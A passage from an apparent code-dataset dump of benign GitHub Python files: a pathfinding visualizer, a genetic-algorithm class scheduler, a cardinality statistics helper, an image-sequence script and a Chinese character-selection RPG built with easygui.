tickTime)\n\n # draw end and start again\n end.make_end()\n start.make_start()\n\n # enable UI frame\n for child in myGui.canvas.winfo_children():\n child.configure(state='normal')\n return True\n\n # if not end - consider all neighbors of current Node to choose next step\n for neighbor in current.neighbors:\n\n # calculate g_score for every neighbor\n temp_g_score = current.g + 1\n\n # if new path through this neighbor better\n if temp_g_score < neighbor.g:\n\n # update g_score for this Node and keep track of new best path\n neighbor.parent = current\n neighbor.g = temp_g_score\n neighbor.f = temp_g_score + h(neighbor, end)\n\n if neighbor not in open_set_hash:\n\n # count the step\n count += 1\n\n # add neighbor in open_set for consideration\n open_set.put((neighbor.f, count, neighbor))\n open_set_hash.add(neighbor)\n neighbor.make_open()\n\n # draw updated grid with new open_set\n myGui.root.update_idletasks()\n t = threading.Thread(target=time.sleep(tickTime))\n t.start()\n t.join()\n\n if current != start:\n current.make_closed()\n\n # didn't find path\n messagebox.showinfo(\"No Solution\", \"There was no solution\")\n\n return False\n\n\ndef thread_startalgo():\n threading.Thread(target=StartAlgorithm).start()\n\n\ndef StartAlgorithm():\n global grid\n if not grid:\n return\n if not Node.start_point or not Node.end_point:\n messagebox.showinfo(title=\"No start/end\",\n message=\"Place start and ending points\")\n return\n\n # update neighbors based on current state\n for row in grid:\n for node in row:\n node.neighbors = []\n node.g = float('inf')\n node.h = 0\n node.f = float('inf')\n node.parent = None\n node.update_neighbors(grid)\n if node.clicked == False:\n node.reset()\n node.disable() # disable Buttons\n\n # disable UI frame for running algortihm\n\n for child in myGui.radio.winfo_children(): # disabling radio buttons\n child.configure(state=\"disable\")\n\n for child in myGui.button.winfo_children(): # disabling buttons\n child.configure(state=\"disable\")\n\n # choose algorithm here...............\n if myGui.selectedalg.get() == 'breadth_first':\n t0 = time.perf_counter()\n threading.Thread(target=breadth_first(grid, tickTime)).start()\n dt = time.perf_counter() - t0\n print(f\"execution time(BFS): {dt*1E3:.1f} ms\")\n elif myGui.selectedalg.get() == 'depth_first':\n t0 = time.perf_counter()\n threading.Thread(target=depth_first(grid, tickTime)).start()\n dt = time.perf_counter() - t0\n print(f\"execution time(DFS): {dt*1E3:.1f} ms\")\n elif myGui.selectedalg.get() == 'djkstra':\n t0 = time.perf_counter()\n threading.Thread(target=djkstra(grid, tickTime)).start()\n dt = time.perf_counter() - t0\n print(f\"execution time(Djkstra): {dt*1E3:.1f} ms\")\n elif myGui.selectedalg.get() == 'a_star':\n t0 = time.perf_counter()\n threading.Thread(target=a_star(grid, tickTime)).start()\n dt = time.perf_counter() - t0\n print(f\"execution tim:(Astar): {dt*1E3:.1f} ms\")\n else:\n messagebox.showinfo(\n \"Pick Algorithm\", \"Choose an algorithm before generating Path\")\n\n # algortihm goes above................\n\n # enable all the disabled buttons and UI for next turn\n for row in grid:\n for node in row:\n node.enable()\n\n for child in myGui.radio.winfo_children():\n child.configure(state=\"normal\")\n\n for child in myGui.button.winfo_children():\n child.configure(state=\"normal\")\n\n\ndef init_grid():\n grid = make_grid(WIDTH, ROWS)\n","repo_name":"Toxicann/AlgoVisualizer","sub_path":"PathfinderLogic.py","file_name":"PathfinderLogic.py","file_ext":"py","file_size_in_byte":17959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"558538464","text":"'''\r\nThis code is owned by\r\nKholishotul Amaliah\r\n05111740000030\r\n'''\r\n\r\n\r\nfrom random import randrange\r\nfrom random import random\r\nfrom prettytable import prettytable\r\n\r\nPOPULATION_SIZE = 8\r\nNUMB_OF_ELITE_SCHEDULES = 1\r\nTOURNAMENT_SELECTION_SIZE = 3\r\nMUTATION_RATE = 0.1\r\n\r\n\r\nclass Data:\r\n ROOMS = [[\"IF\", 45],\r\n [\"IS\", 35],\r\n [\"IT\", 25]]\r\n MEETING_TIMES = [[\"MT1\", \"MWF 07.30 - 10.00\"],\r\n [\"MT2\", \"MWF 10.00 - 12.30\"],\r\n [\"MT3\", \"TH 07.30 - 10.00\"],\r\n [\"MT4\", \"TH 10.00 - 12.30\"]]\r\n INSTRUCTORS = [[\"I1\", \"Mr. Moh. Husni\"],\r\n [\"I2\", \"Mr. Supeno Djanali\"],\r\n [\"I3\", \"Mr. Irfan Subakti\"],\r\n [\"I4\", \"Mr. Fajar Baskoro\"]]\r\n\r\n def __init__(self):\r\n self._rooms = []\r\n for i in range(0, len(self.ROOMS)):\r\n self._rooms.append(Room(self.ROOMS[i][0], self.ROOMS[i][1]))\r\n\r\n self._meetingTimes = []\r\n for i in range(0, len(self.MEETING_TIMES)):\r\n self._meetingTimes.append(MeetingTime(self.MEETING_TIMES[i][0], self.MEETING_TIMES[i][1]))\r\n\r\n self._lecturers = []\r\n for i in range(0, len(self.INSTRUCTORS)):\r\n self._lecturers.append(Lecturer(self.INSTRUCTORS[i][0], self.INSTRUCTORS[i][1]))\r\n\r\n course1 = Course(\"IF4305\", \"Computer Organization and Architecture\", [self.INSTRUCTORS[0][1], self.INSTRUCTORS[1][1]], 30)\r\n course2 = Course(\"IF4504\", \"Web Programming\", [self.INSTRUCTORS[2][1], self.INSTRUCTORS[3][1]], 35)\r\n course3 = Course(\"IS4307\", \"Web Programming\", [self.INSTRUCTORS[2][1]], 30)\r\n course4 = Course(\"IS4309\", \"Software Engineering\", [self.INSTRUCTORS[3][1]], 40)\r\n course5 = Course(\"IT4102\", \"Computer Organization and Architecture\", [self.INSTRUCTORS[0][1]], 25)\r\n course6 = Course(\"IT4301\", \"Web Programming\", [self.INSTRUCTORS[2][1], self.INSTRUCTORS[3][1]], 30)\r\n self._courses = [course1, course2, course3, course4, course5, course6]\r\n\r\n dept1 = Department(\"INFORMATICS\", [course1, course2])\r\n dept2 = Department(\"INFORMATION SYSTEMS\", [course3, course4])\r\n dept3 = Department(\"INFORMATION TECHNOLOGY\", [course5, course6])\r\n self._depts = [dept1, dept2, dept3]\r\n\r\n self._numberOfClasses = 0\r\n for i in range(0, len(self._depts)):\r\n self._numberOfClasses += len(self._depts[i].get_courses())\r\n\r\n def get_rooms(self):\r\n return self._rooms\r\n\r\n def get_lecturers(self):\r\n return self._lecturers\r\n\r\n def get_courses(self):\r\n return self._courses\r\n\r\n def get_depts(self):\r\n return self._depts\r\n\r\n def get_meetingTimes(self):\r\n return self._meetingTimes\r\n\r\n def get_numberOfClasses(self):\r\n return self._numberOfClasses\r\n\r\n\r\nclass Schedule:\r\n def __init__(self):\r\n self._data = data\r\n self._classes = []\r\n self._numbOfConflicts = 0\r\n self._fitness = -1\r\n self._classNumb = 0\r\n self._isFitnessChanged = True\r\n\r\n def get_classes(self):\r\n self._isFitnessChanged = True\r\n return self._classes\r\n\r\n def get_numbOfConflicts(self):\r\n return self._numbOfConflicts\r\n\r\n def get_fitness(self):\r\n if(self._isFitnessChanged == True):\r\n self._fitness = self.calculate_fitness()\r\n self._isFitnessChanged = False\r\n return self._fitness\r\n\r\n def initialize(self):\r\n depts = self._data.get_depts()\r\n for i in range(0, len(depts)):\r\n courses = depts[i].get_courses()\r\n for j in range(0, len(courses)):\r\n newClass = Class(self._classNumb, depts[i], courses[j])\r\n self._classNumb += 1\r\n newClass.set_meetingTime(data.get_meetingTimes()[randrange(0, len(data.get_meetingTimes()))])\r\n newClass.set_room(data.get_rooms()[randrange(0, len(data.get_rooms()))])\r\n newClass.set_lecturer(courses[j].get_lecturer()[randrange(0, len(courses[j].get_lecturer()))])\r\n self._classes.append(newClass)\r\n return self\r\n\r\n def calculate_fitness(self):\r\n self._numbOfConflicts = 0\r\n classes = self.get_classes()\r\n for i in range(0, len(classes)):\r\n # check if the room is inadequate for the class\r\n if(classes[i].get_room().get_seatCapacity() < classes[i].get_course().get_maxNumbOfStudents()):\r\n self._numbOfConflicts += 1\r\n for j in range(0, len(classes)):\r\n if(j >= i):\r\n if(classes[i].get_meetingTimes() == classes[j].get_meetingTimes() and classes[i].get_id() != classes[j].get_id()):\r\n # check if the room is scheduled for more than one class at the same meeting time\r\n if(classes[i].get_room() == classes[j].get_room()):\r\n self._numbOfConflicts += 1\r\n # check if the lecturer is scheduled to teach for more than one class at the same meeting time\r\n if (classes[i].get_lecturers() == classes[j].get_lecturers()):\r\n self._numbOfConflicts += 1\r\n return 1 / (1.0 * self._numbOfConflicts + 1)\r\n\r\n def __str__(self):\r\n returnValue = \"\"\r\n for i in range(0, len(self._classes) - 1):\r\n returnValue += str(self._classes[i]) + \". \"\r\n returnValue += str(self._classes[len(self._classes) - 1])\r\n return returnValue\r\n\r\n\r\nclass Population:\r\n def __init__(self, size):\r\n self._size = size\r\n self._data = data\r\n self._schedules = []\r\n for i in range (0, size):\r\n self._schedules.append(Schedule().initialize())\r\n\r\n def get_schedules(self):\r\n return self._schedules\r\n\r\n\r\nclass GeneticAlgorithm:\r\n def evolve(self, populations):\r\n return self._mutate_population(self._crossover_population(populations))\r\n\r\n def _crossover_population(self, pop):\r\n crossover_pop = Population(0)\r\n for i in range(NUMB_OF_ELITE_SCHEDULES):\r\n crossover_pop.get_schedules().append(pop.get_schedules()[i])\r\n i = NUMB_OF_ELITE_SCHEDULES\r\n while i < POPULATION_SIZE:\r\n schedule1 = self._select_tournament_population(pop).get_schedules()[0]\r\n schedule2 = self._select_tournament_population(pop).get_schedules()[0]\r\n crossover_pop.get_schedules().append(self._crossover_schedule(schedule1, schedule2))\r\n i += 1\r\n return crossover_pop\r\n\r\n def _mutate_population(self, thePopulation):\r\n for i in range(NUMB_OF_ELITE_SCHEDULES, POPULATION_SIZE):\r\n self._mutate_schedule(thePopulation.get_schedules()[i])\r\n return thePopulation\r\n\r\n def _crossover_schedule(self, schedule1, schedule2):\r\n crossoverSchedule = Schedule().initialize()\r\n for i in range(0, len(crossoverSchedule.get_classes())):\r\n if(random() > 0.5):\r\n crossoverSchedule.get_classes()[i] = schedule1.get_classes()[i]\r\n else:\r\n crossoverSchedule.get_classes()[i] = schedule2.get_classes()[i]\r\n return crossoverSchedule\r\n\r\n def _mutate_schedule(self, mutateSchedule):\r\n schedule = Schedule().initialize()\r\n for i in range(0, len(mutateSchedule.get_classes())):\r\n if(MUTATION_RATE > random()):\r\n mutateSchedule.get_classes()[i] = schedule.get_classes()[i]\r\n return mutateSchedule\r\n\r\n def _select_tournament_population(self, pop):\r\n tournament_pop = Population(0)\r\n i = 0\r\n while i < TOURNAMENT_SELECTION_SIZE:\r\n tournament_pop.get_schedules().append(pop.get_schedules()[randrange(0, POPULATION_SIZE)])\r\n i += 1\r\n tournament_pop.get_schedules().sort(key=lambda x: x.get_fitness(), reverse=True)\r\n return tournament_pop\r\n\r\n\r\nclass Course:\r\n def __init__(self, number, name, lecturers, maxNumbOfStudents):\r\n self._number = number\r\n self._name = name\r\n self._lecturer = lecturers\r\n self._maxNumbOfStudents = maxNumbOfStudents\r\n def get_number(self):\r\n return self._number\r\n def get_name(self):\r\n return self._name\r\n def get_lecturer(self):\r\n return self._lecturer\r\n def get_maxNumbOfStudents(self):\r\n return self._maxNumbOfStudents\r\n def __str__(self):\r\n return self._name\r\n\r\n\r\nclass Lecturer:\r\n def __init__(self, id, name):\r\n self._id = id\r\n self._name = name\r\n def get_id(self):\r\n return self._id\r\n def get_name(self):\r\n return self._name\r\n def __str__(self):\r\n return self._name\r\n def __len__(self):\r\n return len(self._id)\r\n\r\n\r\nclass Room:\r\n def __init__(self, number, seatCapacity):\r\n self._number = number\r\n self._seatCapacity = seatCapacity\r\n def get_number(self):\r\n return self._number\r\n def get_seatCapacity(self):\r\n return self._seatCapacity\r\n\r\n\r\nclass MeetingTime:\r\n def __init__(self, id, time):\r\n self._id = id\r\n self._time = time\r\n def get_id(self):\r\n return self._id\r\n def get_time(self):\r\n return self._time\r\n\r\n\r\nclass Department:\r\n def __init__(self, name, courses):\r\n self._name = name\r\n self._courses = courses\r\n def get_name(self):\r\n return self._name\r\n def get_courses(self):\r\n return self._courses\r\n\r\n\r\nclass Class:\r\n def __init__(self, id, dept, course):\r\n self._id = id\r\n self._dept = dept\r\n self._course = course\r\n self._lecturer = None\r\n self._meetingTime = None\r\n self._room = None\r\n def set_meetingTime(self, time):\r\n self._meetingTime = time\r\n def set_room(self, room):\r\n self._room = room\r\n def set_lecturer(self, lecturer):\r\n self._lecturer = lecturer\r\n def get_id(self):\r\n return self._id\r\n def get_dept(self):\r\n return self._dept\r\n def get_course(self):\r\n return self._course\r\n def get_lecturers(self):\r\n return self._lecturer\r\n def get_meetingTimes(self):\r\n return self._meetingTime\r\n def get_room(self):\r\n return self._room\r\n def __str__(self):\r\n return str(self._dept.get_name()) + \",\" + str(self._course.get_number()) + \",\" + str(self._room.get_number()) + \",\" + str(self._lecturer.__str__()) + \",\" + str(self._meetingTime.get_id())\r\n\r\n\r\nclass DisplayInformation:\r\n def print_available_data(self):\r\n print(\"> All Available Data\")\r\n print(\"DEPARTMENT TABLE\")\r\n self.print_dept()\r\n print(\"COURSE TABLE\")\r\n self.print_course()\r\n print(\"ROOM TABLE\")\r\n self.print_room()\r\n print(\"LECTURER TABLE\")\r\n self.print_lecturer()\r\n print(\"MEETING TIME TABLE\")\r\n self.print_meeting_time()\r\n\r\n def print_dept(self):\r\n depts = data.get_depts()\r\n availableDeptsTable = prettytable.PrettyTable(['dept', 'courses'])\r\n for i in range(0, len(depts)):\r\n courses = depts.__getitem__(i).get_courses()\r\n tempStr = \"[\"\r\n for j in range(0, len(courses) - 1):\r\n tempStr += courses[j].__str__() + \", \"\r\n tempStr += courses[len(courses) - 1].__str__() + \"]\"\r\n availableDeptsTable.add_row([depts.__getitem__(i).get_name(), tempStr])\r\n print(availableDeptsTable)\r\n\r\n def print_course(self):\r\n courses = data.get_courses()\r\n availableCoursesTable = prettytable.PrettyTable(['id', 'courses', 'max number of students', 'lecturers'])\r\n for i in range(0, len(courses)):\r\n lecturers = courses.__getitem__(i).get_lecturer()\r\n tempStr = \"\"\r\n for j in range(0, len(lecturers) - 1):\r\n tempStr += lecturers[j].__str__() + \", \"\r\n tempStr += lecturers[len(lecturers) - 1].__str__()\r\n availableCoursesTable.add_row([courses.__getitem__(i).get_number(), courses.__getitem__(i).get_name(), courses.__getitem__(i).get_maxNumbOfStudents(), tempStr])\r\n print(availableCoursesTable)\r\n\r\n def print_room(self):\r\n rooms = data.get_rooms()\r\n availableRoomsTable = prettytable.PrettyTable(['room', 'max seat capacity'])\r\n for i in range(0, len(rooms)):\r\n availableRoomsTable.add_row([rooms.__getitem__(i).get_number(), rooms.__getitem__(i).get_seatCapacity()])\r\n print(availableRoomsTable)\r\n\r\n def print_lecturer(self):\r\n lecturers = data.get_lecturers()\r\n availableLecturerTable = prettytable.PrettyTable(['id', 'name'])\r\n for i in range(0, len(lecturers)):\r\n availableLecturerTable.add_row([lecturers.__getitem__(i).get_id(), lecturers.__getitem__(i).get_name()])\r\n print(availableLecturerTable)\r\n\r\n def print_meeting_time(self):\r\n meeting_times = data.get_meetingTimes()\r\n availableTimeTable = prettytable.PrettyTable(['id', 'meeting time'])\r\n for i in range(0, len(meeting_times)):\r\n availableTimeTable.add_row([meeting_times.__getitem__(i).get_id(), meeting_times.__getitem__(i).get_time()])\r\n print(availableTimeTable)\r\n\r\n def print_generation(self, population):\r\n table1 = prettytable.PrettyTable(['schedule', 'fitness', 'number of conflicts', 'classes [dept, class, room, lecturer, meeting time]'])\r\n schedules = population.get_schedules()\r\n for i in range(0, len(schedules)):\r\n classes = schedules.__getitem__(i).get_classes()\r\n tempStr = \"> \"\r\n for j in range(0, len(classes) - 1):\r\n tempStr += classes[j].__str__() + \".\\n> \"\r\n tempStr += classes[len(classes) - 1].__str__() + \".\"\r\n table1.add_row([str(i), round(schedules[i].get_fitness(), 3), schedules[i].get_numbOfConflicts(), tempStr])\r\n print(table1)\r\n\r\n def print_schedule_as_table(self, schedule):\r\n classes = schedule.get_classes()\r\n table = prettytable.PrettyTable(['Class', 'Dept', 'Course (id, max number of students)', 'Room (capacity)', 'Lecturers', 'Meeting Time'])\r\n for i in range(0, len(classes)):\r\n table.add_row([str(i), classes[i].get_dept().get_name(), classes[i].get_course().get_name() + \" (\" + classes[i].get_course().get_number() + \", \" + str(classes[i].get_course().get_maxNumbOfStudents()) + \")\", classes[i].get_room().get_number() + \" (\" + str(classes[i].get_room().get_seatCapacity()) + \")\", classes[i].get_lecturers().__str__(), classes[i].get_meetingTimes().get_time()])\r\n print(table)\r\n\r\n\r\n# load the data and print\r\ndata = Data()\r\ndisplayInfo = DisplayInformation()\r\ndisplayInfo.print_available_data()\r\n\r\n# starting initial population\r\ngenerationNumber = 0\r\nprint(\"\\n> Generation - \" + str(generationNumber))\r\npopulation = Population(POPULATION_SIZE)\r\npopulation.get_schedules().sort(key=lambda x: x.get_fitness(), reverse=True)\r\ndisplayInfo.print_generation(population)\r\ndisplayInfo.print_schedule_as_table(population.get_schedules()[0])\r\n\r\n# uses GA to get the best fit population\r\ngeneticAlgorithm = GeneticAlgorithm()\r\n# repeat the GA until getting the best fit\r\nwhile (population.get_schedules()[0].get_fitness() != 1.0):\r\n generationNumber += 1\r\n print(\"\\n\\n> Generation - \" + str(generationNumber))\r\n population = geneticAlgorithm.evolve(population)\r\n population.get_schedules().sort(key=lambda x: x.get_fitness(), reverse=True)\r\n displayInfo.print_generation(population)\r\n displayInfo.print_schedule_as_table(population.get_schedules()[0])\r\nprint(\"\\n\\n\")\r\n","repo_name":"kholishotula/ClassScheduling_ST_Quiz1","sub_path":"ClassScheduling.py","file_name":"ClassScheduling.py","file_ext":"py","file_size_in_byte":15580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35531761255","text":"class Cardinality:\n @staticmethod\n def complete(rows: list, head):\n sums_row = { i.value : dict() for i in head }\n \n for row in rows:\n for col, col_list in enumerate(row):\n for cell, val in enumerate(col_list):\n try:\n sums_row[col][cell] += val\n except KeyError:\n try:\n sums_row[col][cell] = val\n except KeyError:\n sums_row[col] = dict()\n sums_row[col][cell] = val\n return sums_row\n\n @staticmethod\n def personal(A, rows: list, key_A = None):\n \"\"\"\n M(A) = A1 + A2 + A3 + ... + AN => WHERE A1 = A11 + A12 + A13 + ... + AM\\n\n OR\\n\n M(B3) = B31 + B32 + B33 + ... + B3N\\n\n function sums all values of atribute A in column or in specific column of A column if key_a is specified\n \"\"\"\n cardinality = .0\n for row in rows:\n if key_A is not None:\n # add only vlaue at key_A in A column for all rows\n # row: [ A: [ x, y, key_A, ... ], B: [], ... ]\n cardinality += row[A][key_A]\n else:\n # add all values in A column\n # row: [ A: [ x, y, z, ... ], B: [], ... ]\n # x + y + z + ...\n cardinality += sum([val for val in row[A]])\n \n return cardinality\n\n # @staticmethod\n # def joint_separate(A, key_A, B, key_B, rows: list):\n # return sum([row[A][key_A] * row[B][key_B] for row in rows])\n \n @staticmethod\n def joint(atr_col_pairs: dict, rows: list):\n \"\"\"\n M(A2, B3, C1) = (A21 * B31 * C11) + (A22 * B32 * C12) + (A23 * B33 * C13) + ... + (A2N * B3N * C2N);\\n\n { A : 2, B : 3, C : 1 } <=> { atribute key or order : inner column }\\n\n atr_col_pairs is a dictionary of atributes and columns\n \"\"\"\n ret_sum = .0\n for row in rows:\n row_multiple = 1.0\n for atr, col in atr_col_pairs.items():\n if col is not None:\n row_multiple *= row[atr][col]\n else:\n # if column is not specified compute personal value of whole atribute\n row_multiple *= sum([val for val in row[atr]])\n ret_sum += row_multiple\n \n return ret_sum\n \n @staticmethod\n def resulting(atr_col_pairs: dict, rows: list):\n #skip first item that is A\n first_skipped = iter(atr_col_pairs.items())\n next(first_skipped) # first item is skipped here (output atribute)\n \n return Cardinality.joint(atr_col_pairs, rows) / Cardinality.joint(dict(first_skipped), rows)\n \n class Bayes:\n @staticmethod\n def conditional(col_val_pairs: dict, rows: list):\n ret_sum = 0 #{ col : { val : 1 } for col, val in enumerate(col_val_pairs) }\n \n for row in rows:\n condition_was_met = True\n for col, val in col_val_pairs.items():\n if row[col] != val:\n condition_was_met = False\n \n if condition_was_met:\n ret_sum += 1\n \n return ret_sum","repo_name":"spietre/DAZZ","sub_path":"Statistics/Cardinality.py","file_name":"Cardinality.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74180030131","text":"import random\n\n\ndef create_image_sequence(start, stop, algorithm):\n count = 0\n file = open('./data/shuffled.txt')\n\n for line in file:\n index = int(line.split(' ')[0])\n file = (line.split(' ')[1]).strip()\n\n if index < start:\n continue\n\n if index >= stop:\n break\n\n if random.choice([0, 1]) == 0:\n gt_side = 'left'\n right_image = algorithm + '/' + file\n left_image = 'gt/' + file\n else:\n gt_side = 'right'\n left_image = algorithm + '/' + file\n right_image = 'gt/' + file\n\n print('sequence_helper(\"{}\",\"{}\",\"{}\");'.format(gt_side, left_image, right_image))\n count += 1\n\n if 472 > start and 472 < stop:\n file = 'beach00002494.jpg'\n\n if random.choice([0, 1]) == 0:\n gt_side = 'left'\n right_image = algorithm + '/' + file\n left_image = 'gt/' + file\n else:\n gt_side = 'right'\n left_image = algorithm + '/' + file\n right_image = 'gt/' + file\n\n print('sequence_helper(\"{}\",\"{}\",\"{}\");'.format(gt_side, left_image, right_image))\n count += 1\n\n return count\n\ndef create_input_sequence(count):\n for i in range(count):\n print(''.format((i+1), (i+1)))\n print(''.format((i + 1), (i + 1)))\n print(''.format((i + 1), (i + 1)))\n\n\nif __name__ == '__main__':\n start = 1100\n create_input_sequence(20 * 4 + 4)\n\n print('')\n print('')\n print('')\n\n count = 0\n count += create_image_sequence(0, 1, 'colorful_mse_small')\n count += create_image_sequence(1, 2, 'colorful_classification_small')\n count += create_image_sequence(2, 3, 'koala_mse_small')\n count += create_image_sequence(3, 4, 'koala_classification_small')\n\n count += create_image_sequence(start, start+20, 'colorful_mse_small')\n count += create_image_sequence(start+20, start+40, 'colorful_classification_small')\n count += create_image_sequence(start+40, start+60, 'koala_mse_small')\n count += create_image_sequence(start+60, start+80, 'koala_classification_small')\n\n print(count)","repo_name":"BenediktKersjes/image_colorization","sub_path":"validation_script/create_sequence.py","file_name":"create_sequence.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"15227068286","text":"import easygui as g\n\n\nclass RoleAttribute:\n def __init__(self):\n # 创建一个通���角色模板\n self.STR = 10 # 力量\n self.CON = 10 # 体质\n self.INT = 10 # 智力\n self.SPR = 10 # 精神\n self.SPD = 10 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 0 # 魅力\n self.level = 1 # 等级\n self.levelmax = 10 # 满级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n\n def RoleLevel(self):\n if self.EXP >= self.EXPmax and self.level < self.levelmax:\n self.EXP = self.EXP - self.EXPmax\n self.EXPmax += self.EXPmax\n self.level += 1\n\n elif self.EXP >= self.EXPmax and self.level == self.levelmax:\n self.EXP = self.EXPmax\n\n else:\n pass\n\n def RoleValue(self):\n # 展示角色属性\n self.HP = (self.CON//2 + self.SPD//5) * self.level * 100 # 生命值,计算公式为:(体质//2 + 速度//5) * 100\n self.ATK = self.STR * self.level * 10 # 物攻值,计算公式为:力量 * 10\n self.DEF = self.CON * self.level * 10 # 物防值,计算公式为:体质 * 10\n self.SAT = self.INT * self.level * 10 # 特攻值,计算公式为:智力 * 10\n self.SDF = self.SPR * self.level * 10 # 特防值,计算公式为:精神 * 10\n self.SPE = self.SPD * self.level * 10 # 速度值,计算公式为:速度 * 10\n\n global playerdict\n playerdict = {\"血量\" : self.HP ,\n \"物攻\" : self.ATK,\n \"物防\" : self.DEF,\n \"特攻\" : self.SAT,\n \"特防\" : self.SDF,\n \"速度\" : self.SPE,\n \"等级\" : self.level,\n \"当前经验\" : self.EXP,\n \"升级所需经验\" : self.EXPmax - self.EXP,\n \"金钱\" : self.Monkey}\n\nclass Guolue(RoleAttribute):\n\n # 创建对象略略酱,我这该死的无处安放的魅力\n def __init__(self):\n super(Guolue, self).__init__()\n self.STR = 5 # 力量\n self.CON = 8 # 体质\n self.INT = 15 # 智力\n self.SPR = 13 # 精神\n self.SPD = 9 # 速度\n self.LUK = 0 # 幸运\n self.CHA = \"max\" # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"我这该死的无处安放的魅力\"\n\nclass Baicai(RoleAttribute):\n\n # 创建对象白菜酱,白菜色图time!!!\n def __init__(self):\n super(Baicai, self).__init__()\n self.STR = 14 # 力量\n self.CON = 15 # 体质\n self.INT = 8 # 智力\n self.SPR = 8 # 精神\n self.SPD = 5 # 速度\n self.LUK = \"max\" # 幸运\n self.CHA = 0 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"吃我一击「白菜色图time!!!」\"\n\nclass Yiwen(RoleAttribute):\n\n # 创建对象依文酱,啊...兔兔不让我走\n def __init__(self):\n super(Yiwen, self).__init__()\n self.STR = 13 # 力量\n self.CON = 6 # 体质\n self.INT = 13 # 智力\n self.SPR = 6 # 精神\n self.SPD = 12 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 0 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"我要跟兔兔在一起,谁当我谁死!!!\"\n\n\nclass Tutu(RoleAttribute):\n\n # 创建对象兔兔酱,依喵去哪里,我就去哪里\n def __init__(self):\n super(Tutu, self).__init__()\n self.STR = 15 # 力量\n self.CON = 8 # 体质\n self.INT = 8 # 智力\n self.SPR = 7 # 精神\n self.SPD = 12 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 0 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"我病娇起来,连自己都害怕\"\n\nclass Mengxin(RoleAttribute):\n\n # 创建对象萌新酱,虽然我已经老了,但我还是萌新\n def __init__(self):\n super(Mengxin, self).__init__()\n self.STR = 8 # 力量\n self.CON = 8 # 体质\n self.INT = 15 # 智力\n self.SPR = 9 # 精神\n self.SPD = 10 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 0 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"虽然我已经老了,但我还是萌新\"\n\nclass Xiaoshuiyin(RoleAttribute):\n\n # 创建对象小水银酱,我...我...我可是很厉害的!!!\n def __init__(self):\n super(Xiaoshuiyin, self).__init__()\n self.STR = 5 # 力量\n self.CON = 5 # 体质\n self.INT = 11 # 智力\n self.SPR = 11 # 精神\n self.SPD = 18 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 80 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"我...我...我可是很厉害的!!!\"\n\nclass Huari(RoleAttribute):\n\n # 创建对象华日酱,ヽ(*´∀´*)ノ 我可是超可爱!!!\n def __init__(self):\n super(Huari, self).__init__()\n self.STR = 8 # 力量\n self.CON = 12 # 体质\n self.INT = 8 # 智力\n self.SPR = 12 # 精神\n self.SPD = 10 # 速度\n self.LUK = 0 # 幸运\n self.CHA = 50 # 魅力\n self.level = 1 # 等级\n self.EXP = 0 # 经验\n self.EXPmax = 100 # 当前满级经验值\n self.Monkey = 0 # 金钱\n\n def petPhrase(self):\n return \"ヽ(*´∀´*)ノ 我宇宙无敌第一可爱!!!\"\n\n\nif __name__ == '__main__':\n\n list_player = [\"略略酱\", \"白菜酱\", \"依文酱\", \"兔兔酱\", \"萌新酱\", \"小水银酱\", \"华日酱\", ]\n playerdict = {}\n\n count = 0\n\n g.msgbox(\"欢迎来到狂三真爱团,角色大冒险游戏!!!\")\n msg = (\"请选择属于你自己的角色:\\n\\n\"\n \"游戏角色分别有:\\n\\n\"\n \"略略酱、 白菜酱、依文酱、兔兔酱、萌新酱、小水银酱、华日酱\")\n title = \"欢迎来到狂三真爱团,角色大冒险游戏!!!\"\n\n\n choices = list_player\n\n p = RoleAttribute()\n\n while count == 0:\n\n\n player = g.choicebox(msg, title, choices)\n\n if player == list_player[0]:\n p = Guolue() # 选择狗略略的情况\n\n elif player == list_player[1]:\n p = Baicai() # 选择白菜的情况\n\n elif player == list_player[2]:\n p = Yiwen() # 选择依文的情况\n\n elif player == list_player[3]:\n p = Tutu() # 选择兔兔的情况\n\n elif player == list_player[4]:\n p = Mengxin() # 选择萌新的情况\n\n elif player == list_player[5]:\n p = Xiaoshuiyin() # 选择小水银的情况\n\n elif player == list_player[6]:\n p = Huari() # 选择华日的情况\n\n p.RoleValue()\n\n RoleValue = \"\"\n playerValue = ''\n\n for each in playerdict:\n RoleValue += (\"\\n%s:%s\\n\" %(each, playerdict[each]))\n\n playerValue = player + \"\\n\" + RoleValue + \"\\n\" + ( player + \":\" +p.petPhrase())\n\n if g.ccbox(playerValue, title, choices = (\"重新选择角色\", \"决定就是你了\")):\n pass\n\n else:\n count += 1\n\n\n #\n # elif player == list_player[1]:\n #\n # # 选择白菜的情况\n # p = Baicai()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + 